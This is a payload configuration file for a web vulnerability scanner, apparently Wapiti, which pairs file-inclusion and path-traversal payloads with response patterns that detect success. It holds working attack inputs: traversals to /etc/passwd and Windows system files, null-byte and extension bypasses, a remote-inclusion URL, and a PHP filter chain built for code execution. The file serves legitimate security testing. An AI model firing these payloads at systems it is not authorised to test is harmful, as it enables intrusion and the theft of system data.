[DEFAULT]
payload = None
rules = None
messages = None

; Each payload can match one or more detection rules.
; Each rule will generate one specific success message.
; A rule must be at the same position than its corresponding message.
; If there is X rules then you must specify X messages even if it is the same one.
[remote_inclusion]
payload = [EXTERNAL_ENDPOINT]/e.php
rules = aa9d05b9ab864e169d723e9668d3dc77
    w4p1t1_cleartext
messages = Remote inclusion vulnerability
    Remote file disclosure vulnerability

[remote_inclusion_with_nul]
payload = [EXTERNAL_ENDPOINT]/e.php[NULL]
rules = aa9d05b9ab864e169d723e9668d3dc77
    w4p1t1_cleartext
messages = Remote inclusion vulnerability
    Remote file disclosure vulnerability

[local_passwd]
payload = /etc/passwd
rules = root:x:0:0
    root:*:0:0
messages = Linux local file disclosure vulnerability
    BSD local file disclosure vulnerability

[local_passwd_with_null]
payload = /etc/passwd[NULL]
rules = root:x:0:0
    root:*:0:0
messages = Linux local file disclosure vulnerability
    BSD local file disclosure vulnerability

[local_unix_services]
payload = /etc/services
rules = Network services, Internet style
    RFC6335
messages = Unix local file disclosure vulnerability
    Unix local file disclosure vulnerability

[local_unix_services_with_null]
payload = /etc/services[NULL]
rules = Network services, Internet style
    RFC6335
messages = Unix local file disclosure vulnerability
    Unix local file disclosure vulnerability

[local_windows_backslash]
payload = C:\Windows\System32\drivers\etc\services
rules = defined by IANA
messages = Windows local file disclosure vulnerability

[local_windows_backslash_with_null]
payload = C:\Windows\System32\drivers\etc\services[NULL]
rules = defined by IANA
messages = Windows local file disclosure vulnerability

[local_windows_backslash_with_ads]
payload = C:\Windows\System32\drivers\etc\services::$DATA
rules = defined by IANA
messages = Windows local file disclosure vulnerability

[local_windows_slash]
payload = C:/Windows/System32/drivers/etc/services
rules = defined by IANA
messages = Windows local file disclosure vulnerability

[local_windows_slash_with_null]
payload = C:/Windows/System32/drivers/etc/services[NULL]
rules = defined by IANA
messages = Windows local file disclosure vulnerability

[local_windows_slash_with_ads]
payload = C:/Windows/System32/drivers/etc/services::$DATA
rules = defined by IANA
messages = Windows local file disclosure vulnerability

[local_unix_ten_up]
payload = ../../../../../../../../../../lib/
rules = libc.so.
messages = Unix Directory traversal vulnerability

[local_windows_ten_up]
payload = ../../../../../../../../../../windows/
rules = notepad.exe
messages = Windows Directory traversal vulnerability

[local_passwd_ten_up]
payload = ../../../../../../../../../../etc/passwd
rules = root:x:0:0
    root:*:0:0
messages = Linux local file disclosure vulnerability
    BSD local file disclosure vulnerability

[local_passwd_twenty_up]
payload = ../../../../../../../../../../../../../../../../../../../../etc/passwd
rules = root:x:0:0
    root:*:0:0
messages = Linux local file disclosure vulnerability
    BSD local file disclosure vulnerability

[local_passwd_ten_up_with_null]
payload = ../../../../../../../../../../etc/passwd[NULL]
rules = root:x:0:0
    root:*:0:0
messages = Linux local file disclosure vulnerability
    BSD local file disclosure vulnerability

[local_passwd_twenty_up_with_null]
payload = ../../../../../../../../../../../../../../../../../../../../etc/passwd[NULL]
rules = root:x:0:0
    root:*:0:0
messages = Linux local file disclosure vulnerability
    BSD local file disclosure vulnerability

[local_unix_services_ten_up]
payload = ../../../../../../../../../../etc/services
rules = Network services, Internet style
    RFC6335
messages = Unix local file disclosure vulnerability
    Unix local file disclosure vulnerability

[local_unix_services_twenty_up]
payload = ../../../../../../../../../../../../../../../../../../../../etc/services
rules = Network services, Internet style
    RFC6335
messages = Unix local file disclosure vulnerability
    Unix local file disclosure vulnerability

[local_unix_services_ten_up_with_null]
payload = ../../../../../../../../../../etc/services[NULL]
rules = Network services, Internet style
    RFC6335
messages = Unix local file disclosure vulnerability
    Unix local file disclosure vulnerability

[local_unix_services_twenty_up_with_null]
payload = ../../../../../../../../../../../../../../../../../../../../etc/services[NULL]
rules = Network services, Internet style
    RFC6335
messages = Unix local file disclosure vulnerability
    Unix local file disclosure vulnerability

[local_windows_slash_ten_up]
payload = ../../../../../../../../../../Windows/System32/drivers/etc/services
rules = defined by IANA
messages = Windows local file disclosure vulnerability

[local_windows_slash_twenty_up]
payload = ../../../../../../../../../../../../../../../../../../../../Windows/System32/drivers/etc/services
rules = defined by IANA
messages = Windows local file disclosure vulnerability

[local_windows_slash_ten_up_with_null]
payload = ../../../../../../../../../../Windows/System32/drivers/etc/services[NULL]
rules = defined by IANA
messages = Windows local file disclosure vulnerability

[local_windows_slash_twenty_up_with_null]
payload = ../../../../../../../../../../../../../../../../../../../../Windows/System32/drivers/etc/services[NULL]
rules = defined by IANA
messages = Windows local file disclosure vulnerability

; Check is based on a unique (but uncommon) character so the exploit is the smallest possible
; Payload generated using https://github.com/synacktiv/php_filter_chain_generator
; Real payload is <?php die("¸") ?>
[lfi_leading_to_rce]
payload = php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
rules = ¸
messages = PHP local inclusion leading to code execution

[local_passwd_starts_with_ten_up]
payload = [VALUE]/../../../../../../../../../../etc/passwd
rules = root:x:0:0
    root:*:0:0
messages = Linux local file disclosure vulnerability
    BSD local file disclosure vulnerability

[local_passwd_starts_with_twenty_up]
payload = [VALUE]/../../../../../../../../../../../../../../../../../../../../etc/passwd
rules = root:x:0:0
    root:*:0:0
messages = Linux local file disclosure vulnerability
    BSD local file disclosure vulnerability

[local_passwd_starts_with_ten_up_with_null]
payload = [VALUE]/../../../../../../../../../../etc/passwd[NULL]
rules = root:x:0:0
    root:*:0:0
messages = Linux local file disclosure vulnerability
    BSD local file disclosure vulnerability

[local_passwd_starts_with_twenty_up_with_null]
payload = [VALUE]/../../../../../../../../../../../../../../../../../../../../etc/passwd[NULL]
rules = root:x:0:0
    root:*:0:0
messages = Linux local file disclosure vulnerability
    BSD local file disclosure vulnerability

[local_unix_services_starts_with_ten_up]
payload = [VALUE]/../../../../../../../../../../etc/services
rules = Network services, Internet style
    RFC6335
messages = Unix local file disclosure vulnerability
    Unix local file disclosure vulnerability

[local_unix_services_starts_with_twenty_up]
payload = [VALUE]/../../../../../../../../../../../../../../../../../../../../etc/services
rules = Network services, Internet style
    RFC6335
messages = Unix local file disclosure vulnerability
    Unix local file disclosure vulnerability

[local_unix_services_starts_with_ten_up_with_null]
payload = [VALUE]/../../../../../../../../../../etc/services[NULL]
rules = Network services, Internet style
    RFC6335
messages = Unix local file disclosure vulnerability
    Unix local file disclosure vulnerability

[local_unix_services_starts_with_twenty_up_with_null]
payload = [VALUE]/../../../../../../../../../../../../../../../../../../../../etc/services[NULL]
rules = Network services, Internet style
    RFC6335
messages = Unix local file disclosure vulnerability
    Unix local file disclosure vulnerability

[local_windows_slash_starts_with_ten_up]
payload = [VALUE]/../../../../../../../../../../Windows/System32/drivers/etc/services
rules = defined by IANA
messages = Windows local file disclosure vulnerability

[local_windows_slash_starts_with_twenty_up]
payload = [VALUE]/../../../../../../../../../../../../../../../../../../../../Windows/System32/drivers/etc/services
rules = defined by IANA
messages = Windows local file disclosure vulnerability

[local_windows_slash_starts_with_ten_up_with_null]
payload = [VALUE]/../../../../../../../../../../Windows/System32/drivers/etc/services[NULL]
rules = defined by IANA
messages = Windows local file disclosure vulnerability

[local_windows_slash_starts_with_twenty_up_with_null]
payload = [VALUE]/../../../../../../../../../../../../../../../../../../../../Windows/System32/drivers/etc/services[NULL]
rules = defined by IANA
messages = Windows local file disclosure vulnerability

[local_passwd_starts_with_dir_ten_up]
payload = [DIRVALUE]/../../../../../../../../../../etc/passwd
rules = root:x:0:0
    root:*:0:0
messages = Linux local file disclosure vulnerability
    BSD local file disclosure vulnerability

[local_passwd_starts_with_dir_tewnty_up]
payload = [DIRVALUE]/../../../../../../../../../../../../../../../../../../../../etc/passwd
rules = root:x:0:0
    root:*:0:0
messages = Linux local file disclosure vulnerability
    BSD local file disclosure vulnerability

[local_passwd_starts_with_dir_ten_up_with_null]
payload = [DIRVALUE]/../../../../../../../../../../etc/passwd[NULL]
rules = root:x:0:0
    root:*:0:0
messages = Linux local file disclosure vulnerability
    BSD local file disclosure vulnerability

[local_passwd_starts_with_dir_twenty_up_with_null]
payload = [DIRVALUE]/../../../../../../../../../../../../../../../../../../../../etc/passwd[NULL]
rules = root:x:0:0
    root:*:0:0
messages = Linux local file disclosure vulnerability
    BSD local file disclosure vulnerability

[local_unix_services_starts_with_dir_ten_up]
payload = [DIRVALUE]/../../../../../../../../../../etc/services
rules = Network services, Internet style
    RFC6335
messages = Unix local file disclosure vulnerability
    Unix local file disclosure vulnerability

[local_unix_services_starts_with_dir_twenty_up]
payload = [DIRVALUE]/../../../../../../../../../../../../../../../../../../../../etc/services
rules = Network services, Internet style
    RFC6335
messages = Unix local file disclosure vulnerability
    Unix local file disclosure vulnerability

[local_unix_services_starts_with_dir_ten_up_with_null]
payload = [DIRVALUE]/../../../../../../../../../../etc/services[NULL]
rules = Network services, Internet style
    RFC6335
messages = Unix local file disclosure vulnerability
    Unix local file disclosure vulnerability

[local_unix_services_starts_with_dir_twenty_up_with_null]
payload = [DIRVALUE]/../../../../../../../../../../../../../../../../../../../../etc/services[NULL]
rules = Network services, Internet style
    RFC6335
messages = Unix local file disclosure vulnerability
    Unix local file disclosure vulnerability

[local_windows_slash_starts_with_dir_ten_up]
payload = [DIRVALUE]/../../../../../../../../../../Windows/System32/drivers/etc/services
rules = defined by IANA
messages = Windows local file disclosure vulnerability

[local_windows_slash_starts_with_dir_twenty_up]
payload = [DIRVALUE]/../../../../../../../../../../../../../../../../../../../../Windows/System32/drivers/etc/services
rules = defined by IANA
messages = Windows local file disclosure vulnerability

[local_windows_slash_starts_with_dir_ten_up_with_null]
payload = [DIRVALUE]/../../../../../../../../../../Windows/System32/drivers/etc/services[NULL]
rules = defined by IANA
messages = Windows local file disclosure vulnerability

[local_windows_slash_starts_with_dir_twenty_up_with_null]
payload = [DIRVALUE]/../../../../../../../../../../../../../../../../../../../../Windows/System32/drivers/etc/services[NULL]
rules = defined by IANA
messages = Windows local file disclosure vulnerability

[local_passwd_file_wrapper]
payload = file:///etc/passwd
rules = root:x:0:0
    root:*:0:0
messages = Linux local file disclosure vulnerability
    BSD local file disclosure vulnerability

[local_windows_file_wrapper]
payload = file://C:\Windows\System32\drivers\etc\services
rules = defined by IANA
messages = Windows local file disclosure vulnerability

[local_passwd_bypass_dotdotslash]
payload = ....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd
rules = root:x:0:0
    root:*:0:0
messages = Linux local file disclosure vulnerability
    BSD local file disclosure vulnerability

[local_passwd_bypass_dotdotslash_with_null]
payload = ....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd[NULL]
rules = root:x:0:0
    root:*:0:0
messages = Linux local file disclosure vulnerability
    BSD local file disclosure vulnerability

[local_unix_services_bypass_dotdotslash]
payload = ....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/services
rules = Network services, Internet style
    RFC6335
messages = Unix local file disclosure vulnerability
    Unix local file disclosure vulnerability

[local_unix_services_bypass_dotdotslash_with_null]
payload = ....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/services[NULL]
rules = Network services, Internet style
    RFC6335
messages = Unix local file disclosure vulnerability
    Unix local file disclosure vulnerability

[local_windows_bypass_dotdotslash]
payload = ....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//Windows/System32/drivers/etc/services
rules = defined by IANA
messages = Windows local file disclosure vulnerability

[local_windows_bypass_dotdotslash_with_null]
payload = ....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//Windows/System32/drivers/etc/services[NULL]
rules = defined by IANA
messages = Windows local file disclosure vulnerability

[local_passwd_bypass_ext]
payload = /etc/passwd[NULL].[EXTVALUE]
rules = root:x:0:0
    root:*:0:0
messages = Linux local file disclosure vulnerability
    BSD local file disclosure vulnerability

[local_windows_bypass_ext]
payload = c:\Windows\System32\drivers\etc\services[NULL].[EXTVALUE]
rules = defined by IANA
messages = Windows local file disclosure vulnerability

[local_passwd_bypass_ext_ten_up]
payload = ../../../../../../../../../../etc/passwd[NULL].[EXTVALUE]
rules = root:x:0:0
    root:*:0:0
messages = Linux local file disclosure vulnerability
    BSD local file disclosure vulnerability

[local_windows_bypass_ext_ten_up]
payload = ../../../../../../../../../../windows/System32/drivers/etc/services[NULL].[EXTVALUE]
rules = defined by IANA
messages = Windows local file disclosure vulnerability

[local_current_file]
payload = [FILE_NAME]
rules = <?php
messages = Possible source code disclosure

[local_current_file_with_null]
payload = [FILE_NAME][NULL]
rules = <?php
messages = Possible source code disclosure

[local_current_file_with_ads]
payload = [FILE_NAME]::$DATA
rules = <?php
messages = Possible source code disclosure

[path_travers_owasp_benchmark]
payload = ../etc/passwd
rules = &#x2f;etc&#x2f;passwd &#x28;No such file or directory&#x29;
    &#x2f;etc&#x2f;passwd' created
    root:*:0:0
    root:x:0:0
messages = Possible Path traversal vulnerability
    Possible Path traversal vulnerability
    Path traversal and Linux local file disclosure vulnerability
    Path traversal and Linux local file disclosure vulnerability

[path_travers_owasp_benchmark_2]
payload = ../wapiti.txt
rules = ..&#x2f;wapiti.txt
messages = Possible Path traversal vulnerability

[path_travers_generic_1]
payload = ../etc/passwd
rules = /etc/passwd (No such file or directory)
    /etc/passwd' created
    root:*:0:0
    root:x:0:0
messages = Possible Path traversal vulnerability
    Possible Path traversal vulnerability
    Path traversal and Linux local file disclosure vulnerability
    Path traversal and Linux local file disclosure vulnerability

[path_travers_generic_2]
payload = ../../etc/passwd
rules = /etc/passwd (No such file or directory)
    /etc/passwd' created
    root:*:0:0
    root:x:0:0
messages = Possible Path traversal vulnerability
    Possible Path traversal vulnerability
    Path traversal and Linux local file disclosure vulnerability
    Path traversal and Linux local file disclosure vulnerability

[path_travers_generic_3]
payload = ../../../etc/passwd
rules = /etc/passwd (No such file or directory)
    /etc/passwd' created
    root:*:0:0
    root:x:0:0
messages = Possible Path traversal vulnerability
    Possible Path traversal vulnerability
    Path traversal and Linux local file disclosure vulnerability
    Path traversal and Linux local file disclosure vulnerability

[path_travers_generic_4]
payload = ../../../../etc/passwd
rules = /etc/passwd (No such file or directory)
    /etc/passwd' created
    root:*:0:0
    root:x:0:0
messages = Possible Path traversal vulnerability
    Possible Path traversal vulnerability
    Path traversal and Linux local file disclosure vulnerability
    Path traversal and Linux local file disclosure vulnerability

[path_travers_generic_5]
payload = ../../../../../etc/passwd
rules = /etc/passwd (No such file or directory)
    /etc/passwd' created
    root:*:0:0
    root:x:0:0
messages = Possible Path traversal vulnerability
    Possible Path traversal vulnerability
    Path traversal and Linux local file disclosure vulnerability
    Path traversal and Linux local file disclosure vulnerability

[path_travers_generic_6]
payload = ../../../../../../etc/passwd
rules = /etc/passwd (No such file or directory)
    /etc/passwd' created
    root:*:0:0
    root:x:0:0
messages = Possible Path traversal vulnerability
    Possible Path traversal vulnerability
    Path traversal and Linux local file disclosure vulnerability
    Path traversal and Linux local file disclosure vulnerability

[path_travers_directory]
payload = ../../../../../../
rules = (Is a directory)
    &#x28;Is a directory&#x29;
messages = Possible Path traversal vulnerability
    Possible Path traversal vulnerability
